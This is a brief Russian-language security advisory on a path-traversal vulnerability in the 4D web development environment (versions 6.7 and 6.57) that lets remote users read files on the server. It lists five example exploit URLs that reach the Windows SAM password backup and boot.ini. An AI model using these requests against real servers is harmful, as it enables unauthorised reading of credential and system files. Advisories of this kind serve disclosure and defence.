4D – среда для разработки Web-приложений.
Уязвимость позволяет читать файлы на
компьютере.
Уязвимые системы:
4D version 6.7
4D version 6.57
Пример:
http://host/4DBin/_/C:/winnt/repair/sam._
http://host/4DBin/_/../winnt/repair/sam._
http://host/4DBin/_/C:/inetpub/../boot.ini
http://host/4DBin/_/../boot.ini
http://host/4DBin/_/../inetpub/../boot.ini
